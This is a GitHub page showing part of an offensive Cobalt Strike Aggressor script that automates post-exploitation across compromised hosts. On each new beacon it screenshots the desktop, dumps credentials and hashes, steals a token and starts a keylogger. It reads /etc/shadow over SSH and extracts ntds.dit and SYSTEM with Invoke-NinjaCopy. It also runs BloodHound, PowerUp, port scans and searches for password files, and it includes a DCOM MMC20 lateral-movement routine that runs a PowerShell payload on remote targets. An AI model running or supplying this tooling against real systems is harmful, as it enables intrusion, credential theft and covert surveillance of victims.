forked from michalkoczwara/aggressor_scripts_collection
-
Notifications
You must be signed in to change notification settings - Fork 2
/
All_In_One.cna
1515 lines (1257 loc) · 50.5 KB
/
All_In_One.cna
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#Persistence, Enumeration, Lateral Movement and Logging Aggressor Script
#Author: @r3dQu1nn
#References: @mattifestation, @rsmudge, @enigma0x3, @harmj0y, PowerShell Mafia folks, Nathan Wray, @Und3rFl0w, @oldb00t, bluescreenofjeff
#Big thanks to Brain Campbell for getting me started with Cortana/Aggressor scripting!!
#All in One v1
#
#
#
# TO DO: Add in Custom Reporting to a .csv that exports Beacon Logs to each Operator and the commands ran.
# TO DO: Add in Payload Generation for Persistence Menu Options
# TO DO: Add in HeartBeat Monitor to check for Dead Beacons...If last callback time is > 24h then create an event log entry
# TO DO: Add in Custom output for Net sessions/Net user "domain admins" /domain/netstat connections
# TO DO: Easy to use Registry Editor using command line. (PowerShell)
# TO DO: Add in Reverse Brute Force Script based on net user.
# TO DO: Implement Invoke-Hash from https://github.com/Kevin-Robertson/Invoke-TheHash
#
#
##Update 2/22/17: Added DCOM Lateral Movement and removed Hyperion Persistence
##Update 2/23/17: Added Color Coded Process List
##Update 2/27/17: Added Admin/User level menus for Persistence
##Update 3/1/17: Added Conditional Statements for the Script Kiddies
##Update 3/10/17: Added Elevate Kit
##Update 3/26/17: Added Ctrl+1 keybinding to open the Beacon Browser in a seperate window. Thanks @raffi!
##Update 3/28/17: Added Registry RunKeys alias
##Update 3/30/17: Added Sleep Timer. Thanks to bluescreenofjeff for source code.
##Update 3/30/17: Added Task All menu with Execute Shell Command to ALL Beacons. Thanks to @noone for assistance.
##Update 3/30/17: Added Custom Aliases and Beacon Commands to Task All menu. Updated on beacon_initial.
##Update 4/3/17: Added Topscan Alias. Scans the most common ports in a network.
##Update 4/3/17: Added Find-Files Alias. Thanks to Joe Vest for POC script.
##Update 4/4/17: Updated Enumeration Alias.
##Update 4/5/17: Updated Wmic_Enum Alias.
##Update 4/6/17: Added mimikatz-timestamp sub function. Thanks to bluescreenofjeff for source code.
##Update 4/25/17: Updated logging timestamps/output and added Export Op Logs menu.
# needed imports for custom menu creation
import java.awt.*; # for borderlayout
import javax.swing.*; # for jpanel
import javax.swing.table.*; #tablerowsorter
import table.*; # generictablemodel
import ui.*; #atable
import javax.swing.JPanel;
import java.awt.GridLayout;
import javax.swing.JScrollPane;
import javax.swing.JTextArea;
import javax.swing.JSpinner;
import javax.swing.JTextPane;
import javax.swing.JButton;
import javax.swing.GroupLayout;
import javax.swing.GroupLayout.*;
import javax.swing.BoxLayout;
import javax.swing.JLabel;
import javax.swing.ScrollPaneConstants;
import javax.swing.JTextField;
import java.awt.FlowLayout;
import javax.swing.SpinnerNumberModel;
import javax.swing.JCheckBox;
import java.awt.Font;
#Custom Directories for logging
mkdir("/opt/cobaltstrike/logs/operator_logs");
mkdir("/opt/cobaltstrike/logs/operator_logs/beacon_output");
mkdir("/opt/cobaltstrike/logs/operator_logs/operator_input");
bind Ctrl+1 { openBeaconBrowser(); }
#Global sleep settings for sleep timer
global('%sleepsettings');
%sleepsettings["sleep"] = "60";
%sleepsettings["jitter"] = "5";
%sleepsettings["heartbeat"] = "False";
%sleepsettings["enabled"] = "False";
%sleepsettings["from_h"] = "20";
%sleepsettings["from_m"] = "00";
%sleepsettings["to_h"] = "06";
%sleepsettings["to_m"] = "00";
#Logging
menubar("Export OP Logs", "exportlogs", 2);
popup exportlogs {
item "&Export OP Logs to HTML" {
prompt_confirm("Do you want to consolidate all OP Logs? (Recommended for Post Operation)", "Log Consolidation", {
show_message("Consolidating all OP Logs...");
exec("/opt/cobaltstrike/logs.py " . mynick());
});
}
}
#Task All Menu
menubar("Task All", "taskall", 2);
popup taskall {
item "&Execute Shell Command to ALL Beacons" {
local('$bid');
prompt_text("What shell command do you want to send to ALL beacons?\n", "dir c:\\, netstat -ano", {
if($1 eq "") {
show_message("You didn't input a command. Exiting...");
break;
}
foreach $id (beacon_ids()) {
bshell($id, "$1");
}
});
}
#Beacon Commands
menu "&Beacon Commands" {
item "&Task checkin Command to ALL Beacons" {
foreach $id (beacon_ids()) {
binput($id, "\cBTasked Beacon to 'checkin'");
bcheckin($id);
}
}
item "&Task ps Command to ALL Beacons" {
foreach $id (beacon_ids()) {
binput($id, "\cBTasked Beacon to 'ps'");
bps($id);
}
}
item "&Task rev2self Command to ALL Beacons" {
foreach $id (beacon_ids()) {
binput($id, "\cBTasked Beacon to 'rev2self'");
brev2self($id);
}
}
item "&Task exit Command to ALL Beacons" {
foreach $id (beacon_ids()) {
binput($id, "\cBTasked Beacon to 'exit'");
bexit($id);
}
}
item "&Task drives Command to ALL Beacons" {
foreach $id (beacon_ids()) {
binput($id, "\cBTasked Beacon to list 'drives'");
bdrives($id);
}
}
}
#Aliases
menu "&Custom Aliases" {
item "&Fire Alias Enumerate to ALL Beacons" {
foreach $id (beacon_ids()) {
binput($id, "\cBTasked Beacon to Fire Alias 'Enumerate'");
fireAlias($id, "Enumerate");
}
}
item "&Fire Alias NTDS_Extract to ALL Beacons" {
foreach $id (beacon_ids()) {
binput($id, "\cBTasked Beacon to Fire Alias 'NTDS_Extract'");
fireAlias($id, "NTDS_Extract");
}
}
item "&Fire Alias PowerUp to ALL Beacons" {
foreach $id (beacon_ids()) {
binput($id, "\cBTasked Beacon to Fire Alias 'PowerUp'");
fireAlias($id, "PowerUp");
}
}
item "&Fire Alias Release_The_Hounds to ALL Beacons" {
foreach $id (beacon_ids()) {
binput($id, "\cBTasked Beacon to Fire Alias 'Release_The_Hounds'");
fireAlias($id, "Release_The_Hounds");
}
}
item "&Fire Alias RunKeys to ALL Beacons" {
foreach $id (beacon_ids()) {
binput($id, "\cBTasked Beacon to Fire Alias 'RunKeys'");
fireAlias($id, "RunKeys");
}
}
item "&Fire Alias Windows_Survey to ALL Beacons" {
foreach $id (beacon_ids()) {
binput($id, "\cBTasked Beacon to Fire Alias 'Windows_Survey'");
fireAlias($id, "Windows_Survey");
}
}
item "&Fire Alias Wmic_Enum to ALL Beacons" {
foreach $id (beacon_ids()) {
binput($id, "\cBTasked Beacon to Fire Alias 'Wmic_Enum'");
fireAlias($id, "Wmic_Enum");
}
}
item "&Fire Alias Wmic_Patches to ALL Beacons" {
foreach $id (beacon_ids()) {
binput($id, "\cBTasked Beacon to Fire Alias 'Wmic_Patches'");
fireAlias($id, "Wmic_Patches");
}
}
}
}
global(@avlist);
set BEACON_INPUT {
$bd = bdata($1);
if ($2 eq mynick()) {
return "\U" . mynick() . "\U" . "\U[" . $bd['computer'] . "]" . $bd['user'] . "/" . $bd['pid'] . "|" . formatDate($4, 'yyyyMMMdd HH:mm:ss') . "\o> $3";
} else {
return "\U" . mynick() . "\U" . "$2 \U[" . $bd['computer'] . "]" . $bd['user'] . "/" . $bd['pid'] . "|" . formatDate($4, 'yyyyMMMdd HH:mm:ss') ."\o> $3";
}
}
on beacon_input {
$bd = bdata($1);
local('$in');
if($2 eq mynick()) {
$in = openf(">>/opt/cobaltstrike/logs/operator_logs/operator_input/" . formatDate($4, 'yyyyMMMdd') . "_" . mynick() . ".log");
writeb($in, mynick() . "[" . $bd['internal'] . "_" . $bd['computer'] . "]" . $bd['user'] . "/" . $bd['pid'] . "|" . formatDate($4, 'yyyyMMMdd HH:mm:ss') . "> $3" . "\n");
closef($in);
}
}
on beacon_output {
$bd = bdata($1);
local('$out');
$out = openf(">>/opt/cobaltstrike/logs/operator_logs/beacon_output/" . formatDate($3, 'yyyyMMMdd') . "_" . $bd['internal'] . "_" . $bd['computer'] . "_output.log");
println($out, mynick() . "[" . $bd['computer'] . "]" . $bd['user'] . "/" . $bd['pid'] . "|" . formatDate($3, 'yyyyMMMdd HH:mm:ss') . "\n");
println($out, "$2" . "\n");
closef($out);
}
on beacon_output_alt {
$bd = bdata($1);
local('$out');
$out = openf(">>/opt/cobaltstrike/logs/operator_logs/beacon_output/" . formatDate($3, 'yyyyMMMdd') . "_" . $bd['internal'] . "_" . $bd['computer'] . "_output.log");
println($out, mynick() . "[" . $bd['computer'] . "]" . $bd['user'] . "/" . $bd['pid'] . "|" . formatDate($3, 'yyyyMMMdd HH:mm:ss') . "\n");
println($out, "$2" . "\n");
closef($out);
}
on beacon_tasked {
$bd = bdata($1);
local('$out');
$out = openf(">>/opt/cobaltstrike/logs/operator_logs/beacon_output/" . formatDate($3, 'yyyyMMMdd') . "_" . $bd['internal'] . "_" . $bd['computer'] . "_output.log");
println($out, mynick() . "[" . $bd['computer'] . "]" . $bd['user'] . "/" . $bd['pid'] . "|" . formatDate($3, 'yyyyMMMdd HH:mm:ss') . "\n");
println($out, "$2" . "\n");
closef($out);
}
# output for the ps command too
set BEACON_OUTPUT_PS {
$bd = bdata($1);
local('$out');
$out = openf(">>/opt/cobaltstrike/logs/operator_logs/beacon_output/" . formatDate($3, 'yyyyMMMdd') . "_" . $bd['internal'] . "_" . $bd['computer'] . "_output.log");
println($out, mynick() . "[" . $bd['computer'] . "]" . $bd['user'] . "/" . $bd['pid'] . "|" . formatDate($3, 'yyyyMMMdd HH:mm:ss') . "\n");
println($out, "$2" . "\n");
closef($out);
$handle = openf(script_resource("av_hips_executables.txt"));
while $line (readln($handle)) {
push(@avlist,$line);
}
local('$outps $temp $name $ppid $pid $arch $user $session @ps');
$outps .= "\cC[*]\o Process List with process highlighting of AV/HIPS, Browsers, Explorer/Winlogon, current processes\n";
$outps .= "\cC[*]\o Current Running PID: \c8 Yellow \o \n";
$outps .= "\cC[*]\o AV/HIPS: \c4 RED \o \n";
$outps .= "\cC[*]\o Browsers: \c3 GREEN \o \n";
$outps .= "\cC[*]\o Explorer/Winlogon: \c2 BLUE \o \n\n";
$outps .= " PID PPID Name Arch Session User\n";
$outps .= "\cE --- ---- ---- ---- ------- -----\n";
foreach $temp (split("\n", ["$2" trim])) {
($name, $ppid, $pid, $arch, $user, $session) = split("\t", $temp);
# highlight AV processes in RED.
if(iff($name in @avlist,true,false)) {
push(@ps, %(pid => $pid, entry => "\c4 $[5]pid $[5]ppid $[28]name $[5]arch $[11]session $user \o"));
# highlight explorer , winlogon in BLUE
} else if ($name eq "explorer.exe" || $name eq "winlogon.exe") {
push(@ps, %(pid => $pid, entry => "\c2 $[5]pid $[5]ppid $[28]name $[5]arch $[11]session $user \o"));
# highlight browsers processes in GREEN
} else if ($name eq "chrome.exe" || $name eq "firefox.exe" || $name eq "iexplore.exe") {
push(@ps, %(pid => $pid, entry => "\c3 $[5]pid $[5]ppid $[28]name $[5]arch $[11]session $user \o"));
# highlight current process in YELLOW
} else if ($pid eq $bd['pid']) {
push(@ps, %(pid => $pid, entry => "\c8 $[5]pid $[5]ppid $[28]name $[5]arch $[11]session $user \o"));
} else {
push(@ps, %(pid => $pid, entry => " $[5]pid $[5]ppid $[28]name $[5]arch $[11]session $user"));
}
}
# sort the processes please
sort({ return $1['pid'] <=> $2['pid']; }, @ps);
# append to our outstring
foreach $temp (@ps) {
$outps .= "$temp['entry'] \n";
}
return $outps;
}
set BEACON_OUTPUT_LS {
$bd = bdata($1);
local('$out');
$out = openf(">>/opt/cobaltstrike/logs/operator_logs/beacon_output/" . formatDate($3, 'yyyyMMMdd') . "_" . $bd['internal'] . "_" . $bd['computer'] . "_output.log");
println($out, mynick() . "[" . $bd['computer'] . "]" . $bd['user'] . "/" . $bd['pid'] . "|" . formatDate($3, 'yyyyMMMdd HH:mm:ss') . "\n");
println($out, $outls . "$2" . "\n");
closef($out);
local('$outls @results $cwd $entry $type $size $modified $name');
@results = split("\n", ["$2" trim]);
$cwd = left(shift(@results), -1); # first entry is the current folder
# parse/process results
foreach $entry (@results) {
($type, $size, $modified, $name) = split("\t", $entry);
if ($type eq "F") {
$entry = %(type => "fil", size => format_size($size), modified => $modified, name => $name);
}
else if ($type eq "D" && $name ne "." && $name ne "..") {
$entry = %(type => "dir", size => "", modified => $modified, name => $name);
}
else {
remove();
}
}
# sort in alpha order with dir listings on top.
sort({ return ($1['type'] . lc($1['name'])) cmp ($2['type'] . lc($2['name'])); }, @results);
$outls .= "\cC[*]\o Listing: $cwd $+ \n\n";
$outls .= " Size Type Last Modified Name\n";
$outls .= "\cE ---- ---- ------------- ----\n";
foreach $entry (@results) {
($type, $size, $modified, $name) = values($entry, @('type', 'size', 'modified', 'name'));
$outls .= " $[8]size $[7]type $[21]modified $name $+ \n";
}
return $outls;
}
sub getexplorerpid {
bps($1, lambda({
local('$pid $name $entry');
foreach $entry (split("\n", $2)) {
($name, $ppid, $pid, $arch) = split("\\s+", $entry);
println($entry);
# println("Name: $name PID: $pid ");
if ($name eq "explorer.exe") {
# $1 is our Beacon ID, $pid is the PID of explorer.exe
[$callback: $1, $pid];
}
}
}, $callback => $2));
}
on beacon_initial {
$user = beacon_data($1) ["user"];
$arch = beacon_data($1) ["barch"];
binput($1, "\cCNew $arch bit Beacon!");
binput($1, "\cCTaking a Screenshot");
binput($1, "\cCPriting Working Directory");
binput($1, "\cCQuerying PowerShell Version");
binput($1, "\cCExecuted 'set'");
binput($1, "\cCSleeping for 60 Seconds");
binput($1, "\cCAutomatic Keylogger Activated");
bnote($1, "$arch bit");
blog($1, "\c9Use the 'clear' command to cancel everything in queue.");
bpwd!($1);
bscreenshot!($1, 0);
bpowerpick!($1, '$PSVersionTable');
bshell!($1, 'set');
bsleep!($1, 60);
if (right("$user", 1) eq "*") {
blog($1, "\cCYou are SYSTEM!");
binput($1, "\cC====Dumping Credentials and Hashes====");
blogonpasswords!($1);
bhashdump!($1);
}
else {
berror($1, "\c4You are NOT SYSTEM!! Try Harder!");
blog($1, "\c9Beacon is $arch bit. Only use $arch bit exploits for Privilege Escalation!!!");
}
#Auto Key Logger
getexplorerpid($1, {
if ($arch eq "x64") {
bsteal_token($1, int($2));
bkeylogger($1, $2, "x64");
blog($1, "\c4New Token may contain lower privleges. Use 'rev2self' for original token. Keylogger will stay active.");
blog($1, "\c4Utilize Jobs/Jobkill to kill the new Keylogger");
}
else {
bsteal_token($1, int($2));
bkeylogger($1, $2, "x86");
blog($1, "\c4New Token may contain lower privleges. Use 'rev2self' for original token. Keylogger will stay active.");
blog($1, "\c4Utilize Jobs/Jobkill to kill the new Keylogger");
}
});
}
#SSH Sessions
on ssh_initial {
if (-isadmin $1) {
binput($1, "===cat /etc/shadow,/etc/passwd===");
bshell($1, "cat /etc/shadow");
bshell($1, "cat /etc/passwd");
#bshell($1, "for i in $(cat /etc/passwd | awk -F : '{if ($3 > 999 && $3 < 60001) print $1}'); do id $i; done && (cat /etc/passwd | awk -F : '{if ($3 > 999 && $3 < 60001) print $1,$2,$3,$4,$6,$7}'");
}
else {
berror($1, "\c4You are not root! Try Harder ;)");
}
}
#SSH Survey command register
ssh_command_register(
"Survey",
"Runs a quick survey of the ssh client",
"Syntax: Survey");
#SSH Survey Alias
ssh_alias Survey {
bshell($1, "cat /etc/*-release | grep -E '\"NAME=\"|ID|VERSION|ID_LIKE'");
bshell($1, "last -a");
bshell($1, "uname -a");
bshell($1, "uname -mrs");
bshell($1, "id");
bshell($1, "history");
bshell($1, "arp -a");
bshell($1, "netstat -anot");
bshell($1, "ps -elf");
bshell($1, "ps -elf | grep root");
bshell($1, "ls -la /var/www/html/");
bshell($1, "service apache2 status");
bshell($1, "cat /etc/resolv.conf");
bshell($1, "cat /etc/networks");
bshell($1, "iptables -L");
bshell($1, "lsof -i");
bshell($1, "grep 80 /etc/services");
bshell($1, "w");
bshell($1, "route -n");
#bshell($1, "cat /etc/passwd | awk -F : '{if ($3 > 999 && $3 < 60001) print $1,$3,$6}'");
}
#Enumerate command register
beacon_command_register("Enumerate", "Enumerate target with multiple net commands",
"Syntax: Enumerate\n" .
"\nEnumerate target with multiple net commands" .
"\narp -a, netstat, net view, net group, net user, net localgroup, net use, net share, whoami, process list, systeminfo",);
##Basic Enumeration Alias
alias Enumerate {
binput($1, "Basic Enumeration");
binput($1, "=================");
binput($1, "===Arp -a===");
bshell!($1, 'arp -a');
binput($1, "===Netstat -ano===");
bshell!($1, 'netstat -ano');
binput($1, "===Net View===");
bshell!($1, 'net view');
binput($1, "===Net Group Domain Admins===");
bshell!($1, 'net group "domain admins" /domain');
binput($1, "===Net Share===");
bshell!($1, 'net share');
binput($1, "===Net Use===");
bshell!($1, 'net use');
binput($1, "===Net User===");
bshell!($1, 'net user');
binput($1, "===Ipconfig /all===");
bshell!($1, 'ipconfig /all');
binput($1, "===Whoami /groups===");
bshell!($1, 'whoami /groups');
binput($1, "===Net localgroup===");
bshell!($1, 'net localgroup');
binput($1, "===Net localgroup administrators===");
bshell!($1, 'net localgroup "administrators"');
binput($1, "===Net dclist===");
bnet!($1, "dclist");
binput($1, "===Process List===");
binput($1, "===System Info===");
bps($1);
bshell!($1, 'systeminfo');
}
#Enumerate command register
beacon_command_register("Wmic_Enum", "Enumerate target with multiple wmic commands in htable format",
"Syntax: Wmic_Enum\n" .
"\nEnumerate target with multiple wmic commands in htable format" .
"\nProcess List, Services, UserAccounts, groups, NIC Configuration, Local and Network Drives" .
"\nMapped Drives, Hotfixes Installed, Startup, Applications Installed, Detailed OS Information, Timezone Information.",);
##Basic Wmic_Enum Alias
alias Wmic_Enum {
binput($1, "wmic Enumeration");
binput($1, "===================");
binput($1, "wmic computersystem");
binput($1, "wmic desktop");
binput($1, "wmic netlogin");
binput($1, "wmic process");
binput($1, "wmic service");
binput($1, "wmic volume");
binput($1, "wmic netuse");
binput($1, "wmic startup");
binput($1, "wmic PRODUCT");
bsleep($1, 60, 0);
blog($1, "\cCAll wmic commands listed above are executing and saving to file wmic_output.html....Download when finished.");
bshell!($1, 'wmic computersystem get Name,domain,NumberofProcessors,Roles,totalphysicalmemory /format:htable > wmic_output.html');
bshell!($1, 'wmic desktop get Name,ScreenSaverActive,Wallpaper /format:htable >> wmic_output.html');
bshell!($1, 'wmic netlogin get Caption,Privileges,UserID,UserType,NumberOfLogons,PasswordAge,LogonServer,Workstations /format:htable >> wmic_output.html');
bshell!($1, 'wmic process get CSName,Description,ExecutablePath,ProcessId /format:htable >> wmic_output.html');
bshell!($1, 'wmic service get Caption,Name,PathName,ServiceType,Started,StartMode,StartName /format:htable >> wmic_output.html');
bshell!($1, 'wmic volume get Label,DeviceID,DriveLetter,FileSystem,Capacity,FreeSpace /format:htable >> wmic_output.html');
bshell!($1, 'wmic netuse list full /format:htable >> wmic_output.html');
bshell!($1, 'wmic startup get Caption,Command,Location,User /format:htable >> wmic_output.html');
bshell!($1, 'wmic PRODUCT get Description,InstallDate,InstallLocation,PackageCache,Vendor,Version /format:htable >> wmic_output.html');
}
#wmic_patches command register
beacon_command_register("Wmic_Patches", "Enumerate all current KB articles installed in table format",
"Syntax: Wmic_Patches\n" .
"\nEnumerate all the current patches installed with wmic.",);
#Wmic Patch Information
alias Wmic_Patches {
bsleep($1, 60, 0);
bshell($1, 'wmic qfe get HotFixID,InstalledOn');
}
#BloodHound command register
beacon_command_register("Release_The_Hounds", "Imports BloodHound.ps1 and Exports into .csv format",
"Syntax: Release_The_Hounds\n" .
"Releases the Hounds ;)",);
#BloodHound Alias
alias Release_The_Hounds {
if (-exists script_resource("scripts/BloodHound.ps1")) {
bpowershell_import($1, script_resource("scripts/BloodHound.ps1"));
bpowerpick($1, "Run-BloodHound");
blog($1, "****Download All CSV Files After Execution****");
}
else {
berror($1, "\c4BloodHound.ps1 does not exist!!");
}
}
#PowerUp command register
beacon_command_register("PowerUp", "Imports PowerUp.ps1 and Calls the Invoke-AllChecks Function",
"Syntax: PowerUp");
#PowerUp All Checks
alias PowerUp {
if (-exists script_resource("scripts/PowerUp.ps1")) {
bpowershell_import($1, script_resource("scripts/PowerUp.ps1"));
bpowershell($1, "Invoke-AllChecks");
}
else {
berror($1, "\c4PowerUp.ps1 does not exist!!");
}
}
#NTDS_Extract command register
beacon_command_register("NTDS_Extract", "Creates a volume shadow copy and extracts the ntds.dit and SYSTEM file into C:\\Temp",
"Syntax: NTDS_Extract\n" .
"*Must be running as an Administrator\n" .
"*Must have updated Invoke-NinjaCopy.ps1 script");
#NTDS_Extract
alias NTDS_Extract {
if (-exists script_resource("scripts/Invoke-NinjaCopy.ps1")) {
bpowershell_import($1, script_resource("scripts/Invoke-NinjaCopy.ps1"));
bpowerpick($1, 'Invoke-NinjaCopy -Path "C:\Windows\ntds\ntds.dit" -LocalDestination "C:\Windows\temp\ntds.dit"');
bpowerpick($1, 'Invoke-NinjaCopy -Path "C:\Windows\system32\config\SYSTEM" -LocalDestination "C:\Windows\temp\SYSTEM"');
bshell($1, 'dir /a C:\Windows\temp\\');
}
else {
berror($1, "\c4Invoke-NinjaCopy.ps1 does not exist!!");
}
}
#Windows Survey Command Register
beacon_command_register("Windows_Survey", "Runs the Windows Survey v1.5 Script made by Chris Cottrell",
"Syntax: Windows_Survey\n" .
"*Execute the sclean.sh script with the automated survey string after\n" .
"*Must have updated Windows_Survey_1_5.ps1 script");
#Windows Survey Alias
alias Windows_Survey {
if (-exists script_resource("scripts/Windows_Survey_1_5.ps1")) {
bpowershell_import($1, script_resource("scripts/Windows_Survey_1_5.ps1"));
bpowerpick($1, 'Get-Survey');
blog($1, "\c9Run ./sclean.sh (Survey String) in the /opt/cobaltstrike/scripts directory after all data is pulled")
}
else {
berror($1, "\c4Windows_Survey_1_5.ps1 does not exist!!");
}
}
#RunKeys Command Register
beacon_command_register("RunKeys", "Queries the Registry for all the Runkeys on startup",
"Syntax: RunKeys\n" .
"Checks HKLM and HKCU for All RunKeys in the Registry");
#RunKeys Alias
alias RunKeys {
bshell($1, 'reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Run"');
bshell($1, 'reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce"');
bshell($1, 'reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnceEx"');
bshell($1, 'reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Run"');
bshell($1, 'reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce"');
}
#Topscan register help
beacon_command_register("Topscan", "portscans top common ports with arp discovery",
"Syntax: Topscan [target]\n\n" .
"Scans top common ports with the command: portscan [targets] arp\n\n" .
"[targets] is a comma separated list of hosts to scan. You may also specify\n" .
"IPv4 address ranges (e.g., 192.168.1.128-192.168.2.240, 192.168.1.0/24)\n");
#Topscan alias
alias Topscan {
if ($2 != $null) {
binput("portscan $1 21,22,23,25,80,443,8080,8443,445,3389 arp");
bportscan($1, $2, "21,22,23,25,80,443,8080,8443,445,3389", "arp");
}
else {
berror($1, "\c4You must specify a Target IP!");
blog($1, "\c9Example: Topscan [Target IP]");
}
}
#Find-Files register help
beacon_command_register("Find-Files", "Searches through a location for filetypes specified by the user",
"Syntax: Find-Files [Location] [File Types]\n" .
"Example: Find-Files C:\\Users\\user1\\Desktop\\ *.txt,*assword*\n\n" .
"\c9**Note: Multiple File Types are comma seperated with no spaces\n" .
"\c9**Note: Recommended location spots (User Desktops, Mapped Shares, Share Drives)\n" .
"\c9**Note: Don't search through entire root of C:\\ (Would create a long search with too much output)\n");
#Find-Files Alias
alias Find-Files {
binput($1, "Executing Find-Files....");
if (-exists script_resource("scripts/Find-Files.ps1" & $2 != $null & $3 != $null)) {
bpowershell_import!($1, script_resource("scripts/Find-Files.ps1"));
bpowerpick!($1, 'Find-Files -searchBase "'.$2.'" -searchTerms "'.$3.'"');
}
else {
berror($1, "\c4Find-Files.ps1 does not exist or missing arguments!!");
blog($1, "\c9Example: Find-Files C:\\Users\\user1\\Desktop\\ *.txt,*assword*");
}
}
# Thanks to Mudge for coding this lateral movement technique
# com-exec Lateral Movement alias
# https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/
# register help for our alias
beacon_command_register("com-exec", "lateral movement with DCOM",
"Synopsis: com-exec [target] [listener]\n\n" .
"Run a payload on a target via DCOM MMC20.Application Object");
# here's our alias to collect our arguments
alias com-exec {
if ($3 is $null) {
# let the user choose a listener
openPayloadHelper(lambda({
com_exec_go($bid, $target, $1);
}, $bid => $1, $target => $2));
}
else {
# we have the needed arguments, pass them
com_exec_go($1, $2, $3);
}
}
# this is the implementation of the attack
sub com_exec_go {
local('$command $script $oneliner');
# check if our listener exists
if (listener_info($3) is $null) {
berror($1, "\c4Listener $3 does not exist");
return;
}
# state what we're doing.
btask($1, "Tasked Beacon to jump to $2 (" . listener_describe($3, $2) . ") via DCOM");
# generate a PowerShell one-liner to run our alias
$command = powershell($3, true, "x86");
# remove "powershell.exe " from our command
$command = strrep($command, "powershell.exe ", "");
# build script that uses DCOM to invoke ExecuteShellCommand on MMC20.Application object
$script = '[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "';
$script .= $2;
$script .= '")).Document.ActiveView.ExecuteShellCommand("';
$script .= 'c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe';
$script .= '", $null, "';
$script .= $command;
$script .= '", "7")';
# run the script we built up
bpowershell!($1, $script);
# complete staging process (for bind_pipe listeners)
bstage($1, $2, $3);
}
popup beacon_top {
menu "&Red Team"{
# Persistence Menu
menu "&Persistence" {
menu "&Admin Level"{
item "&Persist (Workstation) HTTPS" {
local('$bid');
foreach $bid ($1) {
persistWorkstation($bid);
}
}
#item "&Persist (Hyperion DLL 443 64 Bit Server2000+) (HTTPS)" {
#local('$bid');
#foreach $bid ($1) {
#HyperionDLL443_x64_2000Plus($bid);
#}
#}
item "&Persist (Server) HTTPS" {
local('$bid');
foreach $bid ($1) {
persistServer($bid);
}
}
item "&Persist (Server SMB Only)" {
local('$bid');
foreach $bid ($1) {
persistSmbOnly($bid);
}
}
item "&WMI Event using PowerPick" {
local('$bid');
foreach $bid ($1) {
persistwmievent($bid);
}
}
item "&WMI Event using WMIC" {
local('$bid, $enc');
foreach $bid ($1) {
